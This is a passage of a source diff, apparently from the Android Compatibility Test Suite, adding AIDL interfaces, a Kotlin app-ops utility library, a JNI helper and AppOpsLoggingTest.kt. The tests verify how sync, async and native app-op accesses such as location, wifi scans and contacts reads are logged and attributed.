+ * limitations under the License.
+ */
+
+package android.app.appops.cts;
+
+interface IAppOpsUserClient {
+    void noteSyncOp();
+    void noteSyncOpWithFeature(String featureId);
+    void callBackIntoService();
+    void noteNonPermissionSyncOp();
+    void noteSyncOpTwice();
+    void noteTwoSyncOp();
+    void noteSyncOpNative();
+    void noteNonPermissionSyncOpNative();
+    oneway void noteSyncOpOneway();
+    oneway void noteSyncOpOnewayNative();
+    void noteSyncOpOtherUid();
+    void noteSyncOpOtherUidNative();
+    void noteAsyncOp();
+    void noteAsyncOpWithFeature(String featureId);
+    void noteAsyncOpWithCustomMessage();
+    void noteAsyncOpNative();
+    void noteAsyncOpNativeWithCustomMessage();
+}
diff --git a/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserService.aidl b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserService.aidl
new file mode 100644
index 0000000..a19705f
--- /dev/null
+++ b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserService.aidl
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts;
+
+import android.app.appops.cts.IAppOpsUserClient;
+
+interface IAppOpsUserService {
+    void disableCollectorAndCallSyncOpsWhichWillNotBeCollected(in IAppOpsUserClient client);
+    void disableCollectorAndCallASyncOpsWhichWillBeCollected(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpAndClearLog(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpWithFeatureAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatCallsBackIntoServiceAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpFromNativeCodeAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpFromNativeCodeAndCheckMessage(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpAndCheckStackTrace(in IAppOpsUserClient client);
+    void callApiThatNotesNonPermissionSyncOpAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesTwiceSyncOpAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesTwoSyncOpAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesNonPermissionSyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+    void callOnewayApiThatNotesSyncOpAndCheckLog(in IAppOpsUserClient client);
+    void callOnewayApiThatNotesSyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpOtherUidAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesSyncOpOtherUidNativelyAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesAsyncOpAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesAsyncOpWithFeatureAndCheckLog(in IAppOpsUserClient client);
+    void callApiThatNotesAsyncOpAndCheckDefaultMessage(in IAppOpsUserClient client);
+    void callApiThatNotesAsyncOpAndCheckCustomMessage(in IAppOpsUserClient client);
+    void callApiThatNotesAsyncOpNativelyAndCheckCustomMessage(in IAppOpsUserClient client);
+    void callApiThatNotesAsyncOpNativelyAndCheckLog(in IAppOpsUserClient client);
+}
diff --git a/tests/tests/appop/appopsTestUtilLib/Android.bp b/tests/tests/appop/appopsTestUtilLib/Android.bp
new file mode 100644
index 0000000..935909c
--- /dev/null
+++ b/tests/tests/appop/appopsTestUtilLib/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "appops-test-util-lib",
+
+    srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+        "platform-test-annotations",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
new file mode 100644
index 0000000..1996823
--- /dev/null
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts
+
+import android.app.AppOpsManager.MODE_ALLOWED
+import android.app.AppOpsManager.MODE_DEFAULT
+import android.app.AppOpsManager.MODE_ERRORED
+import android.app.AppOpsManager.MODE_IGNORED
+import android.util.Log
+import androidx.test.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+
+private const val LOG_TAG = "AppOpsUtils"
+private const val TIMEOUT_MILLIS = 10000L
+
+const val TEST_FEATURE_ID = "testFeature"
+
+/**
+ * Resets a package's app ops configuration to the device default. See AppOpsManager for the
+ * default op settings.
+ *
+ * <p>
+ * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
+ * ends with a reproducible default state, and so doesn't affect other tests.
+ *
+ * <p>
+ * Some app ops are configured to be non-resettable, which means that the state of these will
+ * not be reset even when calling this method.
+ */
+fun reset(packageName: String): String {
+    return runCommand("appops reset $packageName")
+}
+
+/**
+ * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
+ */
+fun setOpMode(packageName: String, opStr: String, mode: Int): String {
+    val modeStr = when (mode) {
+        MODE_ALLOWED -> "allow"
+        MODE_ERRORED -> "deny"
+        MODE_IGNORED -> "ignore"
+        MODE_DEFAULT -> "default"
+        else -> throw IllegalArgumentException("Unexpected app op type")
+    }
+    val command = "appops set $packageName $opStr $modeStr"
+    return runCommand(command)
+}
+
+/**
+ * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
+ */
+fun getOpMode(packageName: String, opStr: String): Int {
+    val opState = getOpState(packageName, opStr)
+    return when {
+        opState.contains(" allow") -> MODE_ALLOWED
+        opState.contains(" deny") -> MODE_ERRORED
+        opState.contains(" ignore") -> MODE_IGNORED
+        opState.contains(" default") -> MODE_DEFAULT
+        else -> throw IllegalStateException("Unexpected app op mode returned $opState")
+    }
+}
+
+/**
+ * Returns whether an allowed operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+fun allowedOperationLogged(packageName: String, opStr: String): Boolean {
+    return getOpState(packageName, opStr).contains(" time=")
+}
+
+/**
+ * Returns whether a rejected operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+fun rejectedOperationLogged(packageName: String, opStr: String): Boolean {
+    return getOpState(packageName, opStr).contains(" rejectTime=")
+}
+
+/**
+ * Runs a lambda adopting Shell's permissions.
+ */
+inline fun <T> runWithShellPermissionIdentity(runnable: () -> T): T {
+    val uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation()
+    uiAutomation.adoptShellPermissionIdentity()
+    try {
+        return runnable.invoke()
+    } finally {
+        uiAutomation.dropShellPermissionIdentity()
+    }
+}
+
+/**
+ * Returns the app op state for a package. Includes information on when the operation
+ * was last attempted to be performed by the package.
+ *
+ * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
+ */
+private fun getOpState(packageName: String, opStr: String): String {
+    return runCommand("appops get $packageName $opStr")
+}
+
+private fun runCommand(command: String): String {
+    return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command)
+}
+/**
+ * Make sure that a lambda eventually finishes without throwing an exception.
+ *
+ * @param r The lambda to run.
+ * @param timeout the maximum time to wait
+ *
+ * @return the return value from the lambda
+ *
+ * @throws NullPointerException If the return value never becomes non-null
+ */
+fun <T> eventually(timeout: Long = TIMEOUT_MILLIS, r: () -> T): T {
+    val start = System.currentTimeMillis()
+
+    while (true) {
+        try {
+            return r()
+        } catch (e: Throwable) {
+            val elapsed = System.currentTimeMillis() - start
+
+            if (elapsed < timeout) {
+                Log.d(LOG_TAG, "Ignoring exception", e)
+
+                Thread.sleep(minOf(100, timeout - elapsed))
+            } else {
+                throw e
+            }
+        }
+    }
+}
diff --git a/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp b/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp
new file mode 100644
index 0000000..0b47701
--- /dev/null
+++ b/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <binder/AppOpsManager.h>
+#include <utils/String16.h>
+
+using namespace android;
+
+#include "android/log.h"
+#ifdef LOG_TAG
+#undef LOG_TAG
+#endif
+#define LOG_TAG "AppOpsLoggingTest"
+
+// Note op from native code
+extern "C" JNIEXPORT void JNICALL
+Java_android_app_appops_cts_AppOpsLoggingTestKt_nativeNoteOp(JNIEnv* env, jobject obj,
+        jint op, jint uid, jstring jCallingPackageName, jstring jFeatureId, jstring jMessage) {
+    AppOpsManager appOpsManager;
+
+    const char *nativeCallingPackageName = env->GetStringUTFChars(jCallingPackageName, 0);
+    String16 callingPackageName(nativeCallingPackageName);
+
+    const char *nativeFeatureId;
+    std::unique_ptr<String16> featureId;
+    if (jFeatureId != nullptr) {
+        nativeFeatureId = env->GetStringUTFChars(jFeatureId, 0);
+        featureId = std::unique_ptr<String16>(new String16(nativeFeatureId));
+    }
+
+    const char *nativeMessage;
+    String16 *message;
+    if (jMessage != nullptr) {
+        nativeMessage = env->GetStringUTFChars(jMessage, 0);
+        message = new String16(nativeMessage);
+    } else {
+        message = new String16();
+    }
+
+    appOpsManager.noteOp(op, uid, callingPackageName, featureId, *message);
+
+    env->ReleaseStringUTFChars(jCallingPackageName, nativeCallingPackageName);
+
+    if (jFeatureId != nullptr) {
+        env->ReleaseStringUTFChars(jFeatureId, nativeFeatureId);
+    }
+
+    if (jMessage != nullptr) {
+        env->ReleaseStringUTFChars(jMessage, nativeMessage);
+    }
+    delete message;
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
new file mode 100644
index 0000000..d20b00d
--- /dev/null
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -0,0 +1,807 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.AppOpsCollector
+import android.app.AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY
+import android.app.AppOpsManager.OPSTR_CAMERA
+import android.app.AppOpsManager.OPSTR_COARSE_LOCATION
+import android.app.AppOpsManager.OPSTR_FINE_LOCATION
+import android.app.AppOpsManager.OPSTR_GET_ACCOUNTS
+import android.app.AppOpsManager.OPSTR_READ_CONTACTS
+import android.app.AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE
+import android.app.AppOpsManager.OPSTR_READ_PHONE_STATE
+import android.app.AppOpsManager.OPSTR_WRITE_CONTACTS
+import android.app.AppOpsManager.strOpToOp
+import android.app.AsyncNotedAppOp
+import android.app.PendingIntent
+import android.app.SyncNotedAppOp
+import android.app.WallpaperManager
+import android.app.WallpaperManager.FLAG_SYSTEM
+import android.content.BroadcastReceiver
+import android.content.ComponentName
+import android.content.ContentValues
+import android.content.Context
+import android.content.Context.BIND_AUTO_CREATE
+import android.content.Intent
+import android.content.IntentFilter
+import android.content.ServiceConnection
+import android.content.pm.PackageManager.FEATURE_TELEPHONY
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.location.Location
+import android.location.LocationListener
+import android.location.LocationManager
+import android.net.wifi.WifiManager
+import android.os.Bundle
+import android.os.Handler
+import android.os.IBinder
+import android.os.Looper
+import android.platform.test.annotations.AppModeFull
+import android.provider.ContactsContract
+import android.telephony.TelephonyManager
+import androidx.test.platform.app.InstrumentationRegistry
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Assert.fail
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.Executor
+import java.util.concurrent.TimeUnit.MILLISECONDS
+import java.util.concurrent.TimeoutException
+
+private const val TEST_SERVICE_PKG = "android.app.appops.cts.appthatusesappops"
+private const val TIMEOUT_MILLIS = 10000L
+
+private external fun nativeNoteOp(
+    op: Int,
+    uid: Int,
+    packageName: String,
+    featureId: String? = null,
+    message: String? = null
+)
+
+@AppModeFull(reason = "Test relies on other app to connect to. Instant apps can't see other apps")
+class AppOpsLoggingTest {
+    private val context = InstrumentationRegistry.getInstrumentation().targetContext
+    private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+    private val myUid = android.os.Process.myUid()
+    private val myPackage = context.packageName
+
+    private lateinit var testService: IAppOpsUserService
+    private lateinit var serviceConnection: ServiceConnection
+
+    // Collected note-op calls inside of this process
+    private val noted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+    private val selfNoted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+    private val asyncNoted = mutableListOf<AsyncNotedAppOp>()
+
+    @Before
+    fun loadNativeCode() {
+        System.loadLibrary("CtsAppOpsTestCases_jni")
+    }
+
+    @Before
+    fun setNotedAppOpsCollectorAndClearCollectedNoteOps() {
+        setNotedAppOpsCollector()
+        clearCollectedNotedOps()
+    }
+
+    @Before
+    fun connectToService() {
+        val serviceIntent = Intent()
+        serviceIntent.component = ComponentName(TEST_SERVICE_PKG,
+                TEST_SERVICE_PKG + ".AppOpsUserService")
+
+        val newService = CompletableFuture<IAppOpsUserService>()
+        serviceConnection = object : ServiceConnection {
+            override fun onServiceConnected(name: ComponentName?, service: IBinder?) {
+                newService.complete(IAppOpsUserService.Stub.asInterface(service))
+            }
+
+            override fun onServiceDisconnected(name: ComponentName?) {
+                fail("test service disconnected")
+            }
+        }
+
+        context.bindService(serviceIntent, serviceConnection, BIND_AUTO_CREATE)
+        testService = newService.get(TIMEOUT_MILLIS, MILLISECONDS)
+    }
+
+    private fun clearCollectedNotedOps() {
+        noted.clear()
+        selfNoted.clear()
+        asyncNoted.clear()
+    }
+
+    private fun setNotedAppOpsCollector() {
+        appOpsManager.setNotedAppOpsCollector(
+                object : AppOpsCollector() {
+                    override fun onNoted(op: SyncNotedAppOp) {
+                        noted.add(op to Throwable().stackTrace)
+                    }
+
+                    override fun onSelfNoted(op: SyncNotedAppOp) {
+                        selfNoted.add(op to Throwable().stackTrace)
+                    }
+
+                    override fun onAsyncNoted(asyncOp: AsyncNotedAppOp) {
+                        asyncNoted.add(asyncOp)
+                    }
+
+                    override fun getAsyncNotedExecutor(): Executor {
+                        // Execute callbacks immediately
+                        return Executor { it.run() }
+                    }
+                })
+    }
+
+    private inline fun rethrowThrowableFrom(r: () -> Unit) {
+        try {
+            r()
+        } catch (e: Throwable) {
+            throw e.cause ?: e
+        }
+    }
+
+    @Test
+    fun selfNoteAndCheckLog() {
+        appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, null, null)
+
+        assertThat(noted).isEmpty()
+        assertThat(asyncNoted).isEmpty()
+
+        assertThat(selfNoted.map { it.first.featureId to it.first.op })
+            .containsExactly(null to OPSTR_COARSE_LOCATION)
+    }
+
+    @Test
+    fun selfNoteAndCheckFeature() {
+        appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, TEST_FEATURE_ID, null)
+
+        assertThat(selfNoted.map { it.first.featureId }).containsExactly(TEST_FEATURE_ID)
+    }
+
+    @Test
+    fun nativeSelfNoteAndCheckLog() {
+        nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), myUid, myPackage)
+
+        assertThat(noted).isEmpty()
+        assertThat(selfNoted).isEmpty()
+
+        // All native notes will be reported as async notes
+        eventually {
+            assertThat(asyncNoted[0].featureId).isEqualTo(null)
+            // There is always a message.
+            assertThat(asyncNoted[0].message).isNotEqualTo(null)
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_COARSE_LOCATION)
+            assertThat(asyncNoted[0].notingUid).isEqualTo(myUid)
+            // Noting package name is never set for native notes
+            assertThat(asyncNoted[0].notingPackageName).isEqualTo(null)
+        }
+    }
+
+    @Test
+    fun nativeSelfNoteWithFeatureAndMsgAndCheckLog() {
+        nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), myUid, myPackage,
+            featureId = TEST_FEATURE_ID, message = "testMsg")
+
+        // All native notes will be reported as async notes
+        eventually {
+            assertThat(asyncNoted[0].featureId).isEqualTo(TEST_FEATURE_ID)
+            assertThat(asyncNoted[0].message).isEqualTo("testMsg")
+        }
+    }
+
+    @Test
+    fun selfNotesAreDeliveredAsAsyncOpsWhenCollectorIsRegistered() {
+        appOpsManager.setNotedAppOpsCollector(null)
+
+        appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, TEST_FEATURE_ID, null)
+        appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, null, "test msg")
+
+        assertThat(noted).isEmpty()
+        assertThat(selfNoted).isEmpty()
+        assertThat(asyncNoted).isEmpty()
+
+        setNotedAppOpsCollector()
+
+        assertThat(noted).isEmpty()
+        assertThat(selfNoted).isEmpty()
+        assertThat(asyncNoted.map { it.featureId to it.op }).containsExactly(
+            null to OPSTR_COARSE_LOCATION, TEST_FEATURE_ID to OPSTR_COARSE_LOCATION)
+        assertThat(asyncNoted.map { it.message }).contains("test msg")
+    }
+
+    @Test
+    fun disableCollectedAndNoteSyncOpAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.disableCollectorAndCallSyncOpsWhichWillNotBeCollected(
+                    AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun disableCollectedAndNoteASyncOpAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.disableCollectorAndCallASyncOpsWhichWillBeCollected(
+                    AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncWithFeatureOpAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpWithFeatureAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun callsBackIntoServiceAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatCallsBackIntoServiceAndCheckLog(
+                AppOpsUserClient(context, testService))
+        }
+    }
+
+    @Test
+    fun noteSyncOpFromNativeCodeAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpFromNativeCodeAndCheckLog(
+                    AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpFromNativeCodeAndCheckMessage() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpFromNativeCodeAndCheckMessage(
+                    AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpAndCheckStackTrace() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpAndCheckStackTrace(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteNonPermissionSyncOpAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesNonPermissionSyncOpAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpTwiceAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesTwiceSyncOpAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteTwoSyncOpAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesTwoSyncOpAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpNativeAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpNativelyAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteNonPermissionSyncOpNativeAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesNonPermissionSyncOpNativelyAndCheckLog(
+                    AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpOneway() {
+        rethrowThrowableFrom {
+            testService.callOnewayApiThatNotesSyncOpAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpOnewayNative() {
+        rethrowThrowableFrom {
+            testService.callOnewayApiThatNotesSyncOpNativelyAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpOtherUidAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpOtherUidAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteSyncOpOtherUidNativeAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesSyncOpOtherUidNativelyAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteAsyncOpAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesAsyncOpAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteAsyncOpWithFeatureAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesAsyncOpWithFeatureAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteAsyncOpAndCheckDefaultMessage() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesAsyncOpAndCheckDefaultMessage(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteAsyncOpAndCheckCustomMessage() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesAsyncOpAndCheckCustomMessage(AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteAsyncOpNativelyAndCheckCustomMessage() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesAsyncOpNativelyAndCheckCustomMessage(
+                    AppOpsUserClient(context))
+        }
+    }
+
+    @Test
+    fun noteAsyncOpNativeAndCheckLog() {
+        rethrowThrowableFrom {
+            testService.callApiThatNotesAsyncOpNativelyAndCheckLog(AppOpsUserClient(context))
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for scanning wifi
+     */
+    @Test
+    fun getWifiScanResults() {
+        val wifiManager = context.createFeatureContext(TEST_FEATURE_ID)
+            .getSystemService(WifiManager::class.java)
+
+        val results = wifiManager.scanResults
+
+        assertThat(noted[0].first.op).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+        assertThat(noted[0].second.map { it.methodName }).contains("getWifiScanResults")
+    }
+
+    /**
+     * Realistic end-to-end test for getting last location
+     */
+    @Test
+    fun getLastKnownLocation() {
+        val locationManager = context.createFeatureContext(TEST_FEATURE_ID)
+            .getSystemService(LocationManager::class.java)
+
+        assumeTrue("Device does not have a network provider",
+            locationManager.getProviders(true).contains(LocationManager.NETWORK_PROVIDER))
+
+        val location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER)
+        assumeTrue("Could not get last known location", location != null)
+
+        assertThat(noted.map { it.first.op }).containsAnyOf(OPSTR_COARSE_LOCATION,
+            OPSTR_FINE_LOCATION)
+        assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+        assertThat(noted[0].second.map { it.methodName }).contains("getLastKnownLocation")
+    }
+
+    /**
+     * Realistic end-to-end test for getting an async location
+     */
+    @Test
+    fun getAsyncLocation() {
+        val locationManager = context.createFeatureContext(TEST_FEATURE_ID)
+            .getSystemService(LocationManager::class.java)
+
+        assumeTrue("Device does not have a network provider",
+            locationManager.getProviders(true).contains(LocationManager.NETWORK_PROVIDER))
+
+        val gotLocationChangeCallback = CompletableFuture<Unit>()
+
+        val locationListener = object : LocationListener {
+            override fun onStatusChanged(provider: String?, status: Int, extras: Bundle?) {}
+            override fun onProviderEnabled(provider: String?) {}
+            override fun onProviderDisabled(provider: String?) {}
+
+            override fun onLocationChanged(location: Location?) {
+                gotLocationChangeCallback.complete(Unit)
+            }
+        }
+
+        locationManager.requestSingleUpdate(LocationManager.NETWORK_PROVIDER, locationListener,
+                Looper.getMainLooper())
+
+        try {
+            gotLocationChangeCallback.get(TIMEOUT_MILLIS, MILLISECONDS)
+        } catch (e: TimeoutException) {
+            assumeTrue("Could not get location", false)
+        }
+
+        eventually {
+            assertThat(asyncNoted.map { it.op }).containsAnyOf(OPSTR_COARSE_LOCATION,
+                OPSTR_FINE_LOCATION)
+            assertThat(asyncNoted[0].featureId).isEqualTo(TEST_FEATURE_ID)
+
+            assertThat(asyncNoted[0].message).contains(locationListener::class.java.name)
+            assertThat(asyncNoted[0].message).contains(
+                Integer.toHexString(System.identityHashCode(locationListener)))
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for getting called back for a proximity alert
+     */
+    @Test
+    fun triggerProximityAlert() {
+        val PROXIMITY_ALERT_ACTION = "proxAlert"
+
+        val gotProximityAlert = CompletableFuture<Unit>()
+
+        val locationManager = context.createFeatureContext(TEST_FEATURE_ID)
+            .getSystemService(LocationManager::class.java)!!
+
+        val proximityAlertReceiver = object : BroadcastReceiver() {
+            override fun onReceive(context: Context, intent: Intent) {
+                gotProximityAlert.complete(Unit)
+            }
+        }
+
+        context.registerReceiver(proximityAlertReceiver, IntentFilter(PROXIMITY_ALERT_ACTION))
+        try {
+            val proximityAlertReceiverPendingIntent = PendingIntent.getBroadcast(context, 0,
+                Intent(PROXIMITY_ALERT_ACTION).setPackage(myPackage)
+                    .setFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_ONE_SHOT)
+
+            locationManager.addProximityAlert(0.0, 0.0, Float.MAX_VALUE, TIMEOUT_MILLIS,
+                proximityAlertReceiverPendingIntent)
+            try {
+                try {
+                    gotProximityAlert.get(TIMEOUT_MILLIS, MILLISECONDS)
+                } catch (e: TimeoutException) {
+                    assumeTrue("Could not get proximity alert", false)
+                }
+
+                eventually {
+                    assertThat(asyncNoted.map { it.op }).contains(OPSTR_FINE_LOCATION)
+                    assertThat(asyncNoted[0].featureId).isEqualTo(TEST_FEATURE_ID)
+
+                    assertThat(asyncNoted[0].message).contains(
+                        proximityAlertReceiverPendingIntent::class.java.name)
+                    assertThat(asyncNoted[0].message).contains(
+                        Integer.toHexString(
+                            System.identityHashCode(proximityAlertReceiverPendingIntent)))
+                }
+            } finally {
+                locationManager.removeProximityAlert(proximityAlertReceiverPendingIntent)
+            }
+        } finally {
+            context.unregisterReceiver(proximityAlertReceiver)
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for reading all contacts
+     */
+    @Test
+    fun readFromContactsProvider() {
+        context.createFeatureContext("test").contentResolver
+            .query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null)
+
+        assertThat(noted.map { it.first.op }).containsExactly(OPSTR_READ_CONTACTS)
+        assertThat(noted[0].first.featureId).isEqualTo("test")
+        assertThat(noted[0].second.map { it.methodName }).contains("readFromContactsProvider")
+    }
+
+    /**
+     * Realistic end-to-end test for adding a new contact
+     */
+    @Test
+    fun writeToContactsProvider() {
+        context.createFeatureContext("test").contentResolver
